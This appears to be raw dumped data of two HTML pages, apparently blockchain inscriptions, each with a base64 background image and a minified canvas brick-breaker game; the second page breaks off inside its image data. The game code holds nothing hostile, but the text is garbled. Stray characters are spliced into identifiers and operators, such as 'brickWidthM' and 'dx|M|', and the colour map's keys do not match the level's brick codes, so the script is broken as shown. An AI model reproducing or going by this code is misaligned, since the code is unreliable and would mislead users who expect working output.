ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","RM
","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidthM
=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.xM
&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ballM
.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx|M
|ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===?39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
